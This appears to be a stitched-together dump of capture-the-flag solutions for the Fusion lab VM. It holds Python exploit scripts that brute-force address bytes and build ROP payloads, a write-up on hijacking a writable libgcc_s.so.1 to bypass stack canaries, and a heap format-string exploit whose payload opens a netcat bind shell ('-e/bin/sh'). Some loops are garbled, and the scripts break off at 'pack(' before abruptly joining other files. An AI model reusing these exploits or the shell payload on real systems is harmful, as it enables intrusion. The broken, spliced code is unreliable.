encryption_worker() 16 | { 17 | struct buffer *input_buffer; 18 | struct buffer *output_buffer; 19 | unsigned char *tmp; 20 | unsigned char *message = "m 0777 test1"; 21 | unsigned char peer_remote_pk[32]; 22 | unsigned char secret_key[32]; 23 | int i; 24 | unsigned char *p; 25 | 26 | input_buffer = calloc(sizeof(struct buffer), 1); 27 | input_buffer->data = message; 28 | input_buffer->len = strlen(message); 29 | output_buffer = calloc(sizeof(struct buffer), 1); 30 | if(output_buffer == NULL) goto failure; 31 | output_buffer->len = input_buffer->len + crypto_box_ZEROBYTES + crypto_box_NONCEBYTES; 32 | output_buffer->data = malloc(output_buffer->len); 33 | if(output_buffer->data == NULL) goto failure; 34 | 35 | memcpy(output_buffer->data, "\x49\x00\x4a\x43\x37\xf3\x4e\x69\x8b\x59\xaa\x21\x05\x99\xd5\x79\x26\xb2\xbe\x5b\x76\xef\x55\x8b", 24); 36 | 37 | memcpy(peer_remote_pk, "\x2d\xda\x2f\xcc\x5b\xae\x6b\xba\x6f\x7d\x27\x35\x8b\x23\x04\x6f\x6d\x73\x70\x68\x67\xc2\x79\x48\x38\x98\x75\x47\x95\x72\x0b\x44", 32); 38 | memcpy(secret_key, "\xbc\xcc\x7b\x0c\x7e\x5f\xd0\xf9\x15\x04\x47\x19\x2c\x8d\x2f\x56\x81\xe9\x80\x8b\x95\x7f\x9e\x2f\x11\x18\xd2\x1e\xf7\x6f\x9c\xf5", 32); 39 | // randombytes(output_buffer->data, crypto_box_NONCEBYTES); 40 | // randombytes(peer_remote_pk, 32); 41 | // randombytes(secret_key, 32); 42 | 43 | tmp = malloc(input_buffer->len + crypto_box_ZEROBYTES); 44 | if(! tmp) goto failure; 45 | 46 | 47 | printf("input_buffer is %08x\n", input_buffer); 48 | printf("input_buffer->data = %s, input_buffer->len = %d\n", input_buffer->data, input_buffer->len); 49 | 50 | memset(tmp, 0, crypto_box_ZEROBYTES); 51 | memcpy(tmp + crypto_box_ZEROBYTES, input_buffer->data, input_buffer->len); 52 | 53 | printf("input_buffer len: %d\n", input_buffer->len+crypto_box_ZEROBYTES); 54 | p = tmp; 55 | for (i=0;ilen+crypto_box_ZEROBYTES;i++) 56 | { 57 | printf("%02x", *p++); 58 | } 59 | printf("\n"); 60 | if(crypto_box(output_buffer->data + crypto_box_NONCEBYTES, tmp, crypto_box_ZEROBYTES + input_buffer->len, 61 | output_buffer->data, peer_remote_pk, secret_key) != 0) { 62 | fprintf(stderr, "crypto_box failed\n"); 63 | goto failure; 64 | } 65 | 66 | printf("output_buffer len: %d\n", output_buffer->len); 67 | p = output_buffer->data; 68 | for (i=0;ilen;i++) 69 | { 70 | printf("\\x%02x", *p++); 71 | } 72 | printf("\n"); 73 | 74 | goto alright; 75 | failure: 76 | free(output_buffer); 77 | alright: 78 | free(input_buffer); 79 | if(tmp) { free(tmp); tmp = NULL; } 80 | 81 | } 82 | 83 | static void decryption_worker() 84 | { 85 | struct buffer *input_buffer; 86 | struct buffer *output_buffer; 87 | unsigned char peer_remote_pk[32]; 88 | unsigned char secret_key[32]; 89 | 90 | size_t tl; 91 | unsigned char *tmpout; 92 | unsigned char *message = "\xbe\xe7\xfb\x71\x4c\xe8\x9f\xd5\xaa\x84\x98\xca\x03\x55\x69\x0a\x20\x8f\x50\xc0\xd0\xce\xcd\xcb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2b\x35\x91\xd4\xb9\x99\x87\x53\xe9\x54\xe8\x63\x1c\xce\x3c\x2a\xc5\xab\xff\xda\xa5\xaa\xe6\x6f\x8a\x0f\x63\x77"; 93 | 94 | strncpy(peer_remote_pk, "\x0c\xb6\x7f\xe5\xd8m\xcb\xfd#\xc7\x81\x83\xb8\xef?\xfd\xb4$\xc3\xa0\xc7\xa9\xdc\x8f&G\x1a?\xa0:\xcb\x10", 32); 95 | strncpy(secret_key, "\xf6\x93\\\x89""8\xe0yz\xb8""3R\xb6\xef@\x0b\xe8\xf7""C\x1e\xf5(\x8f""A\x8f\xb5\x13\x08S\xd6\xcdZ\x89", 32); 96 | input_buffer = output_buffer = NULL; 97 | tmpout = NULL; 98 | 99 | 100 | input_buffer = calloc(sizeof(struct buffer), 1); 101 | input_buffer->len = 68; 102 | input_buffer->data = message; 103 | tl = input_buffer->len - crypto_box_NONCEBYTES; 104 | 105 | tmpout = malloc(tl); 106 | if(! tmpout) { 107 | fprintf(stderr, "decryption_worker: unable to malloc %d bytes for tmpout, skipping\n", tl); 108 | goto failure; 109 | } 110 | 111 | output_buffer = calloc(sizeof(struct buffer), 1); 112 | if(! output_buffer) { 113 | fprintf(stderr, "decryption_worker: unable to calloc new buffer, skipping\n"); 114 | goto failure; 115 | } 116 | output_buffer->len = tl - crypto_box_ZEROBYTES; 117 | output_buffer->data = malloc(output_buffer->len); 118 | if(! output_buffer->data) { 119 | fprintf(stderr, "decryption_worker: unable to malloc new data buffer of " 120 | "%d bytes, skipping\n", tl - crypto_box_ZEROBYTES); 121 | goto failure; 122 | } 123 | 124 | // printf("attempting to decrypt with length of %d bytes\n", tl); 125 | 126 | if(crypto_box_open(tmpout, input_buffer->data + crypto_box_NONCEBYTES, tl, input_buffer->data, 127 | peer_remote_pk, secret_key) != 0) { 128 | fprintf(stderr, "decryption_worker: unable to crypto_box_open :s, skipping\n"); 129 | goto failure; 130 | } 131 | 132 | // printf("decryption_worker: outputting buffer\n"); 133 | 134 | memcpy(output_buffer->data, tmpout + crypto_box_ZEROBYTES, output_buffer->len); 135 | 136 | /* Insert the buffer into the queue */ 137 | 138 | printf(": %s", output_buffer->data); 139 | goto alright; 140 | failure: 141 | free(output_buffer); 142 | alright: 143 | free(input_buffer); 144 | if(tmpout) free(tmpout); 145 | } 146 | 147 | 148 | int main() 149 | { 150 | encryption_worker(); 151 | } 152 | -------------------------------------------------------------------------------- /level05/level05.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import socket 3 | from struct import * 4 | import time 5 | import sys 6 | import struct 7 | import random 8 | 9 | 10 | TCP_IP = '10.0.0.1' 11 | TCP_PORT = 20005 12 | BUFFER_SIZE = 1024 13 | 14 | 15 | def register(s, name): 16 | s.send("addreg " + name + " 32 127.0.0.1\n") 17 | return True 18 | 19 | def unregister(s, name): 20 | s.send("addreg " + name + " 0 0.0.0.0\n") 21 | return True 22 | 23 | def checkname(s, name): 24 | s.send("checkname " + name + "\n") 25 | data = s.recv(BUFFER_SIZE) 26 | if "is not indexed already" in data: 27 | return False 28 | else: 29 | return True 30 | 31 | def bruteforce(s, prefix, postfix, range): 32 | candidates = [] 33 | for i in range: 34 | if i == 32: 35 | continue 36 | register(s, prefix + chr(i) + postfix) 37 | time.sleep(0.1) 38 | checkname(s, "test") 39 | result0 = checkname(s, prefix) 40 | result1 = checkname(s, prefix) 41 | unregister(s, prefix + chr(i) + postfix) 42 | if result0 or result1: 43 | print "possible candidate: "+str(hex(i)) 44 | candidates.append(i) 45 | continue 46 | return candidates 47 | 48 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 49 | s.connect((TCP_IP, TCP_PORT)) 50 | data = s.recv(BUFFER_SIZE) 51 | print "received data:", data 52 | #test whether it works 53 | register(s, "A"*16+"\x04") 54 | time.sleep(0.5) 55 | checkname(s, "test") 56 | result = [] 57 | 58 | for i in xrange(4): 59 | result.append(checkname(s, "A"*16)) 60 | 61 | unregister(s, "A"*16+"\x04") 62 | for i in xrange(4): 63 | result.append(checkname(s, "A"*16)) 64 | 65 | if (result[0] or result[1]) and (result[2] or result[3]): 66 | if not (result[4] or result[5] or result[6] or result[7]): 67 | print "Works!" 68 | else: 69 | print "Does not work!" 70 | sys.exit() 71 | else: 72 | print "Does not work!" 73 | sys.exit() 74 | 75 | retestedmemory = [] 76 | print "trying to find hightest byte" 77 | memory = bruteforce(s, "A"*15, "\x04", range(0,256)) 78 | print "final: " 79 | retestedmemory.append(bruteforce(s, "B"*15, "\x04", memory)[0]) 80 | print "final: " + str(hex(retestedmemory[0])) 81 | 82 | print "trying to find second hightest byte" 83 | memory = range(0,256) 84 | #memory = bruteforce(s, "A"*14, chr(retestedmemory[0])+"\x04", range(0,256)) 85 | while len(memory) != 1: 86 | memory = bruteforce(s, chr(random.randint(0x41,0x4a))*14, chr(retestedmemory[0])+"\x04", memory) 87 | 88 | retestedmemory.append(memory[0]) 89 | print "final: " + str(hex(retestedmemory[1])) 90 | print "trying to find second lowest byte" 91 | #memory = bruteforce(s, "A"*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", range(0,256)) 92 | memory = range(0,256) 93 | while len(memory) != 1: 94 | memory = bruteforce(s, chr(random.randint(0x41,0x4a))*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", memory) 95 | 96 | level05base = (retestedmemory[0]<<24) + (retestedmemory[1]<<16) + (((memory[0]>>4)-2)<<12) 97 | 98 | 99 | print str(hex(level05base)) 100 | #print "exploiting in 10sec." 101 | #time.sleep(10) 102 | 103 | libcbase = level05base - 0x1a9000 104 | #libcbase = 0xb75bb000 105 | print str(hex(libcbase)) 106 | 107 | p = "" 108 | p += pack(" stack smashing detected ***: /opt/fusion/bin/level08 terminated 36 | 37 | Already explained in the beginning what is the problem with our canary. It is generated randomly, we cannot bruteforce it (you can, but the probability that you will find the correct one is almost zero). I have spent a few weeks on research of stack canaries and bypass techniques and found nothing that is useful here. 38 | 39 | ## Hints 40 | 41 | This is the point where you should forget about your bottleneck and find other ways to exploit the vulnerability. I read thru the source code but found nothing, then in a clear moment I noticed something strange. I previously saw that there is a *lib/i386-linux-gnu/* directory which has some kind of shared library, but I thought that is only there for help in case you have RCE and then you can load it and reuse the already compiled functions. I made a huge mistake here, even the name was telling. If you decompile the *.so*, you will find that the *_init* function writes out the **"evil.so loaded"** message, which is a hint indeed. Unfortunately I have terminated the connection before read out this message from the channel, I never saw this previously. 42 | When a stack corruption happens and the OS notices it terminates the program with **"stack smashing detected \*\*\*"** message. After that message an awful lot of code runs including the *_Unwind_Backtrace()* which provides the stacktrace to the user for debugging purposes. This function resides in the *libgcc_s.so* and because the program runs in a chrooted environment the *libgcc_s.so.1* will be loaded with the evil init function. The shared library is writeable for us which means we can execute any code within the environment. 43 | Stack overflow exploitation without writing code to the stack, nice huh? There is no need to know the canary this way. 44 | 45 | ## Steps summarized 46 | 47 | 1. implement encryption and decryption routines 48 | 2. open the lib/i386-linux-gnu/libgcc_s.so.1 file 49 | 3. overwrite with your shared library (_init function will be executed) 50 | 4. close the file descriptor 51 | 5. create a directory - trigger overflow 52 | 6. init function runs 53 | 54 | ## Chroot 55 | 56 | We can execute any code in the chrooted environment, even spawn a shell, but what's the point? We are still enclosed with our unprivileged user. Based on the previous levels there was no requirement to gain root, so I doubt that would be the next step. My solution would had been to create a .ssh directory (which is forbidden in the binary, I thought it is a hint as well) and upload my pub key into the authorized_keys file and log in thru ssh. This approach doesn't work, because our user (*level08*) isn't in the passwd file unfortunately, so sshd doesn't let us in. I have no other ideas hwo to break out. If you do please drop me a mail, I really excited to see how others solve this challenge. 57 | 58 | Twitter: @xoreipeip 59 | 60 | 61 | 62 | -------------------------------------------------------------------------------- /level05/level05.big.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import socket 3 | from struct import * 4 | import time 5 | import sys 6 | import struct 7 | import random 8 | 9 | 10 | #pre-beta file for test 11 | 12 | TCP_IP = '10.0.0.1' 13 | TCP_PORT = 20005 14 | BUFFER_SIZE = 1024 15 | 16 | 17 | def register(s, name): 18 | s.send("addreg " + name + " 32 127.0.0.1\n") 19 | return True 20 | 21 | def unregister(s, name): 22 | s.send("addreg " + name + " 0 0.0.0.0\n") 23 | return True 24 | 25 | def checkname(s, name): 26 | s.send("checkname " + name + "\n") 27 | data = s.recv(BUFFER_SIZE) 28 | if "is not indexed already" in data: 29 | return False 30 | else: 31 | return True 32 | 33 | def bruteforce(s, prefix, postfix, range): 34 | candidates = [] 35 | for i in range: 36 | if i == 32: 37 | continue 38 | register(s, prefix + chr(i) + postfix) 39 | time.sleep(0.1) 40 | checkname(s, "test") 41 | result0 = checkname(s, prefix) 42 | result1 = checkname(s, prefix) 43 | unregister(s, prefix + chr(i) + postfix) 44 | if result0 or result1: 45 | print "possible candidate: "+str(hex(i)) 46 | candidates.append(i) 47 | continue 48 | return candidates 49 | 50 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 51 | s.connect((TCP_IP, TCP_PORT)) 52 | data = s.recv(BUFFER_SIZE) 53 | print "received data:", data 54 | """ 55 | #test whether it works 56 | register(s, "A"*16+"\x04") 57 | time.sleep(0.5) 58 | checkname(s, "test") 59 | result = [] 60 | 61 | for i in xrange(4): 62 | result.append(checkname(s, "A"*16)) 63 | 64 | unregister(s, "A"*16+"\x04") 65 | for i in xrange(4): 66 | result.append(checkname(s, "A"*16)) 67 | 68 | if (result[0] or result[1]) and (result[2] or result[3]): 69 | if not (result[4] or result[5] or result[6] or result[7]): 70 | print "Works!" 71 | else: 72 | print "Does not work!" 73 | sys.exit() 74 | else: 75 | print "Does not work!" 76 | sys.exit() 77 | 78 | retestedmemory = [] 79 | print "trying to find hightest byte" 80 | memory = bruteforce(s, "A"*15, "\x04", range(0,256)) 81 | print "final: " 82 | retestedmemory.append(bruteforce(s, "B"*15, "\x04", memory)[0]) 83 | print "final: " + str(hex(retestedmemory[0])) 84 | 85 | print "trying to find second hightest byte" 86 | memory = range(0,256) 87 | #memory = bruteforce(s, "A"*14, chr(retestedmemory[0])+"\x04", range(0,256)) 88 | while len(memory) != 1: 89 | memory = bruteforce(s, chr(random.randint(0x41,0x4a))*14, chr(retestedmemory[0])+"\x04", memory) 90 | 91 | retestedmemory.append(memory[0]) 92 | print "final: " + str(hex(retestedmemory[1])) 93 | #retestedmemory.append(0xb7) 94 | #retestedmemory.append(0x71) 95 | print "trying to find second lowest byte" 96 | #memory = bruteforce(s, "A"*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", range(0,256)) 97 | memory = range(0,256) 98 | while len(memory) != 1: 99 | memory = bruteforce(s, chr(random.randint(0x41,0x4a))*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", memory) 100 | 101 | level05base = (retestedmemory[0]<<24) + (retestedmemory[1]<<16) + (((memory[0]>>4)-2)<<12) 102 | 103 | 104 | print str(hex(level05base)) 105 | print "exploiting in 10sec." 106 | time.sleep(10) 107 | 108 | libcbase = level05base - 0x1a9000 109 | """ 110 | libcbase = 0xb7715000 111 | print str(hex(libcbase)) 112 | 113 | p = "" 114 | p += pack(" 0xb753d1f0 <__snprintf>: push %ebx 35 | (gdb) ni 36 | ... 37 | (gdb) 38 | 0xb753d21e 35 in snprintf.c 39 | 1: x/i $pc 40 | => 0xb753d21e <__snprintf+46>: call 0xb7555cf0 <_IO_vsnprintf> 41 | (gdb) x/80wx $esp 42 | 0xbfdd4ef8: 0xb7c41268 0x00000800 0xb7c4016c 0xbfdd4f1c 43 | 0xbfdd4f08: 0xb7c40158 0xb77d1208 0xb7c41268 0x00000800 44 | 0xbfdd4f18: 0xb7c4016c 0xb7c40a10 0xb77d0700 0x00000000 45 | 0xbfdd4f28: 0xbfdd5140 0xb7c40a10 0xb77d0700 0x00000000 46 | 0xbfdd4f38: 0xb75622e3 0xb7c40a10 0xb77d10d0 0x00000000 47 | 0xbfdd4f48: 0xb7c40158 0xb77d10d0 0x00000000 0xb7c40158 48 | 0xbfdd4f58: 0xbfdd4f4c 0x00000000 0x00000000 0xb768d000 49 | 0xbfdd4f68: 0xb76a13b8 0x000e3120 0xbfdd4f30 0xb7c41228 50 | 0xbfdd4f78: 0xb766aff4 0xb766c400 0xb7c40030 0x00000000 51 | 0xbfdd4f88: 0xb756594d 0xb75658e0 0xb7c40990 0xb776fff4 52 | 0xbfdd4f98: 0xb77d0070 0xb773a80f 0xb7c40990 0xb74c8190 53 | 0xbfdd4fa8: 0xb7562d8e 0xb777c058 0xb77d0070 0xb7c40030 54 | 0xbfdd4fb8: 0x00000000 0xb77d012c 0xb7c40158 0xbfdd4ff4 55 | 0xbfdd4fc8: 0x00000154 0xb7c40030 0xb77d10d0 0x00000000 56 | 0xbfdd4fd8: 0xb7c40158 0x00000000 0xb777c058 0x00000154 57 | 0xbfdd4fe8: 0xb77d10d0 0x00000000 0xb7c40158 0x00000000 58 | 0xbfdd4ff8: 0xb777c058 0x00000154 0xbfdd4fd0 0x00000000 59 | 0xbfdd5008: 0x00000000 0x00000001 0xb7c40990 0xb77d0070 60 | 0xbfdd5018: 0xb7c40990 0xb77ca8a9 0xb7c40030 0xb7c40990 61 | 0xbfdd5028: 0x00000000 0xb777c058 0x00000000 0x00000004 62 | ``` 63 | 64 | Response from the server: 65 | ``` 66 | root@kali:~/fusion/level14# nc 172.16.193.195 20014 67 | %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x 68 | b7c40a10.b77d0700.00000000.bfdd5140.b7c40a10.b77d0700.00000000.b75622e3.b7c40a10.b77d10d0.00000000.b7c40158.b77d10d0.00000000.b7c40158.bfdd4f4c.00000000.00000000.b768d000.b76a13b8.000e3120.bfdd4f30.b7c41228.b766aff4.b766c400.b7c40030.00000000.b756594d.b75658e0.b7c40990.b776fff4.b77d0070.b773a80f.b7c40990.b74c8190.b7562d8e.b777c058.b77d0070.b7c40030.00000000.b77d012c.b7c40158.bfdd4ff4.00000154.b7c40030.b77d10d0.00000000.b7c40158.00000000.b777c058.00000154.b77d10d0.00000000.b7c40158.00000000.b777c058.00000154.bfdd4fd0.00000000.00000000.00000001.b7c40990.b77d0070.b7c40990.b77ca8a9.b7c40030.b7c40990.00000000 69 | ``` 70 | 71 | *snprintf()* leaks from **$esp+36**, so we can address any other 4bytes that comes after. **%1$x** points to **$esp+36**, **$2%x** points to **$esp+40** an so on... We need to find a pointer on stack which points to the stack, you can even find longer chains, but we need only one pointer at the moment (possibly two to have a shorter exploit). Before you start to look for one, it is best to look farther on, too close values on the stack mean we are picking (and later altering) values on stack that are related to the called function or to the caller or to the caller of the caller and so on. Farther is better, but we have to make sure we are still in the stack frame. We are going to modify some values on stack, so if we can keep those values in an area that never changes while we are minding our business we don't have to expect a crash, which is a good thing. The service works in a loop, so outer functions won't be accessed while we are crafting our payload, we need to aim for that stack partition. 72 | **%256$x** will be just good for us. It points to **%263$x** which points to somewhere on the stack. Unfortunately the latter points to an address on stack which can't be divided with 4, so it is not aligned. We need to modify that address to point to something proper. We'll do that later. 73 | 74 | ## Info leaks 75 | The best thing about format string exploits is that you don't have to worry about PIE and ASLR, you can get almost any kind of address from stack reliably. In this case we want to know the base address of some module, address of a heap variable and some stack addresses (explained above). 76 | - **%1$x** leaks heap, we can use it to have a pointer to our payload which will be the shell command (*-0x78c8*) 77 | - **%4$x** leaks stack, we can use it to have a reliable pointer to the ret address of the function (*+0x234*) 78 | - **%6$x** leaks level14 module address (*+0xb700*) 79 | - **%256$x** leaks the address of **%263$x** which has to be aligned and modified step-by-step 80 | - **%263$x** not important for us 81 | 82 | Our stack looks like this: 83 | > [1:heap][2:doesnt][3:matter][4:stackleak]...[6:level14leak]...[256:pointer-to-263]...[263:pointer-to-stack-to-xxx+2]...[xxx:DEADBABE][xxx+1:B00BE555] ---> direction to the bottom 84 | 85 | We can start to play with these leaks and can reliably tell the base of any module loaded (PIE is out of the game) so we know the *exit()* and *system()* function addresses; furthermore we know some pointers to the stack which helps us determine the value of the ret address of the *sprintf()* and to create some pointers on stack. Additionally we have a pointer to the heap (basically to the secondly allocated variable) which can be used as a relative pointer to our payload (ASLR protection is gone). 86 | 87 | 88 | ## Aligning the stack 89 | As in all format string exploits we want to write arbitrary 4bytes to arbitrary addresses, for example to change a GOT entry. Because of the fact that this is a heap based format string vulnerability, we can't write the stack easily, but this is why we looked for a chain on stack. 90 | First we have to modify the address on **%263$x**, because it is not divisible by 4, so if we write something to the address which it points to, it won't be addressable (on the stack "figure" above **%263$x** points to the value *0xBABEB00B*, we want it to point to *0xDEADBABE*). Because it already points to the stack, the upper 16bits of its value is good for us, so we only have to modify the lower 16bits with a short write. (*+0x30* makes sure it points farther than the stack will be used in the program) 91 | 92 | ``` 93 | alignedstack = (stackp2p & 0xFFFFFFFC) + 0x30 94 | bw = 0x00 95 | p2pbytelo = ((alignedstack - bw) & 0xFFFF) 96 | payload0 = "%"+str(p2pbytelo)+"x%256$hn" # aligning the stack! 97 | payload0 += "\n\x00" 98 | ``` 99 | 100 | Now we have a proper pointer on stack which can be used to write arbitrary two bytes. After aligning, the stack looks like this: 101 | > [1:heap]...[4:stackleak]...[6:level14leak]...[256:pointer-to-263]...[263:pointer-to-275]...[275:DEADBABE] ---> direction to the bottom 102 | 103 | 104 | ## Writing addresses 105 | We have a pointer that points to a pointer that points to the stack. With this structure we can write arbitrary addresses on the bottom of the stack which will be readable for our heap based format string vulnerability. When we are ready with this, we basically turned our heap based vulnerability to a stack based, so it will act as any other stack based format string vulnerability. 106 | In 6*2 steps we are going to write 2bytes on the stack and modify the pointer to point to the next two bytes. At the end we will have 6 consequential overlapping addresses on stack which can be used to write 3 arbitrary dwords - 12bytes. 107 | 108 | ``` 109 | def generate_formatstring(value, align): 110 | time.sleep(0.5) 111 | 112 | bw = 0x00 113 | byte = (((value & 0xFFFF) - bw) & 0xFFFF) 114 | bw += byte 115 | alignaddr = ((alignedstack - bw + align) & 0xFFFF) 116 | 117 | payload = "%"+str(byte)+"x%263$hn" # set half byte on previously set address 118 | payload += "%"+str(alignaddr)+"x%256$hn" # set addr to next half byte 119 | payload += "\n\x00" 120 | 121 | return payload 122 | ``` 123 | By looping the *align* variable each cycle will generate two format strings that write on the stack and then loops the pointer to the next two bytes. 124 | ``` 125 | for i in range(1,7): 126 | s.send(generate_formatstring(stackrop + (i-1)*2, i*4-2)) 127 | s.recv(BUFFER_SIZE) 128 | s.send(generate_formatstring(stackrop >> 0x10, i*4)) 129 | s.recv(BUFFER_SIZE) 130 | print "[+] %d. value set" % i 131 | ``` 132 | 133 | After the loop our stack will look like this: 134 | > [1:heap]...[4:stackleak]...[6:level14leak]...[256:pointer-to-263]...[263:pointer-to-280 +2]...[275:retaddr][276:retaddr+2][277:retaddr+4][278:retaddr+6][279:retaddr+8][280:retaddr+10] ---> direction to the bottom 135 | 136 | 137 | ## Final steps 138 | 139 | We have 6 different addresses on stack, crafted by ourselves. All of these are fully addressable by our format string vulnerability by **%275$x** to **%280$x**. In the Info leak section we managed to get a reliable address that points to the ret address of the *snprintf()* function; if we change that address the function will return to a different location. If we change more dwords on that memory location, we can create a ROP chain with our gadgets. Our chain will look like this: 140 | > [system()][exit()][payload-from-heap] 141 | 142 | We already have all the necessary addresses leaked in the Info leak section, we only have to write these to our crafted pointers. 143 | ``` 144 | payloadx = "/bin/nc.traditional -ltp 1337 -e/bin/sh;" # eat this system()! 145 | payloadx += "%"+str(bytelo1)+"x%275$hn%"+str(bytehi1)+"x%276$hn" # ret to system 146 | payloadx += "%"+str(bytelo2)+"x%277$hn%"+str(bytehi2)+"x%278$hn" # exit() pointer 147 | payloadx += "%"+str(bytelo3)+"x%279$hn%"+str(bytehi3)+"x%280$hn" # heap addr that points to this payload 148 | payloadx += "\n\x00" 149 | ``` 150 | - *byte[lo|hi]1* stores *system()*'s address from libc 151 | - *byte[lo|hi]2* stores *exit()*'s address from libpthread 152 | - *byte[lo|hi]3* stores the pointer to the payload prefixed the format string 153 | 154 | By overwriting the ret address and the following two dwords we have our ROP chain placed on stack. The function returns to *system()* with our payload and executes the command. 155 | 156 | Twitter: [@xoreipeip](https://twitter.com/xoreipeip) 157 | 158 | 159 | 160 | --------------------------------------------------------------------------------